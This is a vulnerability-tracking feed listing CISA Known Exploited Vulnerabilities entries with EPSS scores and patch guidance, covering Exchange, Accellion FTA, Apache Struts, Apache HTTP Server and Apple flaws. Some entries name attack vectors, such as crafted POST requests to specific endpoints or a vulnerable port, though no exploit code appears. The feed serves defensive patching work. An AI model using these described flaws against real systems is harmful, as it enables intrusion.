CISA added Nov 17, 2021; federal due date Dec 1, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-42321
Microsoft Exchange Server Remote Code Execution Vulnerability (Nov 17, 2021).
An authenticated attacker could leverage improper validation in cmdlet arguments within Microsoft Exchange and perform remote code execution.
EPSS 91.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42321&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-42321: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42321&date=2026-10-25
CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 17, 2021; federal due date Dec 1, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Excel Security Feature Bypass
https://kevwire.com/record/CVE-2021-42292
Microsoft Excel Security Feature Bypass (Nov 17, 2021).
A security feature bypass vulnerability in Microsoft Excel would allow a local user to perform arbitrary code execution.
EPSS 43.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42292&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-42292: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42292&date=2026-10-25
CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 17, 2021; federal due date Dec 1, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Accellion FTA OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2021-27104
Accellion FTA OS Command Injection Vulnerability (Nov 3, 2021).
Accellion FTA contains an OS command injection vulnerability exploited via a crafted POST request to various admin endpoints.
EPSS 56.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27104&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27104: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27104&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Accellion FTA OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2021-27102
Accellion FTA OS Command Injection Vulnerability (Nov 3, 2021).
Accellion FTA contains an OS command injection vulnerability exploited via a local web service call.
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27102&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27102: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27102&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Accellion FTA SQL Injection Vulnerability
https://kevwire.com/record/CVE-2021-27101
Accellion FTA SQL Injection Vulnerability (Nov 3, 2021).
Accellion FTA contains a SQL injection vulnerability exploited via a crafted host header in a request to document_root.html.
EPSS 6.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27101&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27101: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27101&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Accellion FTA Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2021-27103
Accellion FTA Server-Side Request Forgery (SSRF) Vulnerability (Nov 3, 2021).
Accellion FTA contains a server-side request forgery (SSRF) vulnerability exploited via a crafted POST request to wmProgressstat.html.
EPSS 11.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27103&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27103: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27103&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Heap-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-21017
Adobe Acrobat and Reader Heap-based Buffer Overflow Vulnerability (Nov 3, 2021).
Acrobat Acrobat and Reader contain a heap-based buffer overflow vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.
EPSS 86.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21017&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21017: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21017&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-28550
Adobe Acrobat and Reader Use-After-Free Vulnerability (Nov 3, 2021).
Adobe Acrobat and Reader contains a use-after-free vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.
EPSS 51.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-28550&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-28550: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-28550&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2018-4939
Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Nov 3, 2021).
Adobe ColdFusion contains a deserialization of untrusted data vulnerability that could allow for code execution.
EPSS 62.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4939&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-4939: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4939&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Unrestricted File Upload Vulnerability
https://kevwire.com/record/CVE-2018-15961
Adobe ColdFusion Unrestricted File Upload Vulnerability (Nov 3, 2021).
Adobe ColdFusion contains an unrestricted file upload vulnerability that could allow for code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-15961&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-15961: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-15961&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2018-4878
Adobe Flash Player Use-After-Free Vulnerability (Nov 3, 2021).
Adobe Flash Player contains a use-after-free vulnerability that could allow for code execution.
EPSS 90.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4878&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-4878: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4878&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Amcrest Cameras and NVR Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2020-5735
Amcrest Cameras and NVR Stack-based Buffer Overflow Vulnerability (Nov 3, 2021).
Amcrest cameras and NVR contain a stack-based buffer overflow vulnerability through port 37777 that allows an unauthenticated, remote attacker to crash the device and possibly execute code.
EPSS 36.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5735&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5735: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5735&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Kernel Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2019-2215
Android Kernel Use-After-Free Vulnerability (Nov 3, 2021).
Android Kernel contains a use-after-free vulnerability in binder.c that allows for privilege escalation from an application to the Linux Kernel. This vulnerability was observed chained with CVE-2020-0041 and CVE-2020-0069 under exploit chain "AbstractEmu."
EPSS 72.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-2215&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-2215: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-2215&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Kernel Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2020-0041
Android Kernel Out-of-Bounds Write Vulnerability (Nov 3, 2021).
Android Kernel binder_transaction of binder.c contains an out-of-bounds write vulnerability due to an incorrect bounds check that could allow for local privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0069 under exploit chain "AbstractEmu."
EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0041&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0041: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0041&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mediatek Multiple Chipsets Insufficient Input Validation Vulnerability
https://kevwire.com/record/CVE-2020-0069
Mediatek Multiple Chipsets Insufficient Input Validation Vulnerability (Nov 3, 2021).
Multiple MediaTek chipsets contain an insufficient input validation vulnerability and have missing SELinux restrictions in the Command Queue drivers ioctl handlers. This causes an out-of-bounds write leading to privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0041 under exploit chain "AbstractEmu."
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0069&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0069: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0069&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2017-9805
Apache Struts Deserialization of Untrusted Data Vulnerability (Nov 3, 2021).
Apache Struts REST Plugin uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-9805&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-9805: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-9805&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache HTTP Server Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-42013
Apache HTTP Server Path Traversal Vulnerability (Nov 3, 2021).
Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default require all denied or if CGI scripts are enabled. This CVE ID resolves an incomplete patch for CVE-2021-41773.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42013&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-42013: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42013&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache HTTP Server Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-41773
Apache HTTP Server Path Traversal Vulnerability (Nov 3, 2021).
Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default �require all denied� or if CGI scripts are enabled. The original patch issued under this CVE ID is insufficient, please review remediation information under CVE-2021-42013.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-41773&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-41773: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-41773&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache HTTP Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0211
Apache HTTP Server Privilege Escalation Vulnerability (Nov 3, 2021).
Apache HTTP Server, with MPM event, worker or prefork, code executing in less-privileged child processes or threads (including scripts executed by an in-process scripting interpreter) could execute code with the privileges of the parent process (usually root) by manipulating the scoreboard.
EPSS 65.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0211&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0211: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0211&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Shiro Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-4437
Apache Shiro Code Execution Vulnerability (Nov 3, 2021).
Apache Shiro contains a vulnerability which may allow remote attackers to execute code or bypass intended access restrictions via an unspecified request parameter when a cipher key has not been configured for the "remember me" feature.
EPSS 93.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4437&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-4437: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4437&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Solr VelocityResponseWriter Plug-In Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-17558
Apache Solr VelocityResponseWriter Plug-In Remote Code Execution Vulnerability (Nov 3, 2021).
The Apache Solr VelocityResponseWriter plug-in contains an unspecified vulnerability which can allow for remote code execution.
EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-17558&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-17558: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-17558&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-17530
Apache Struts Remote Code Execution Vulnerability (Nov 3, 2021).
Forced Object-Graph Navigation Language (OGNL) evaluation in Apache Struts, when evaluated on raw user input in tag attributes, can lead to remote code execution.
EPSS 96.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-17530&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-17530: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-17530&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-5638
Apache Struts Remote Code Execution Vulnerability (Nov 3, 2021).
Apache Struts Jakarta Multipart parser allows for malicious file upload using the Content-Type value, leading to remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5638&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-5638: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5638&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-11776
Apache Struts Remote Code Execution Vulnerability (Nov 3, 2021).
Apache Struts contains a vulnerability that allows for remote code execution under two circumstances. One, where the alwaysSelectFullNamespace option is true and the value isn't set for a result defined in underlying configurations and in same time, its upper package configuration have no or wildcard namespace.  Or, using URL tag which doesn't have value and action set and in same time, its upper package configuration have no or wildcard namespace.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-11776&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-11776: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-11776&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, macOS Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-30858
Apple iOS, iPadOS, macOS Use-After-Free Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, and macOS WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 13.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30858&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30858: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30858&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and macOS Group Facetime Vulnerability
https://kevwire.com/record/CVE-2019-6223
Apple iOS and macOS Group Facetime Vulnerability (Nov 3, 2021).
Apple iOS and macOS Group FaceTime contains an unspecified vulnerability where the call initiator can cause the recipient's Apple device to answer unknowingly or without user interaction.
EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-6223&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-6223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-6223&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-30860
Apple Multiple Products Integer Overflow Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, and watchOS CoreGraphics contain an integer overflow vulnerability which may allow code execution when processing a maliciously crafted PDF. The vulnerability is also known under the moniker of FORCEDENTRY.
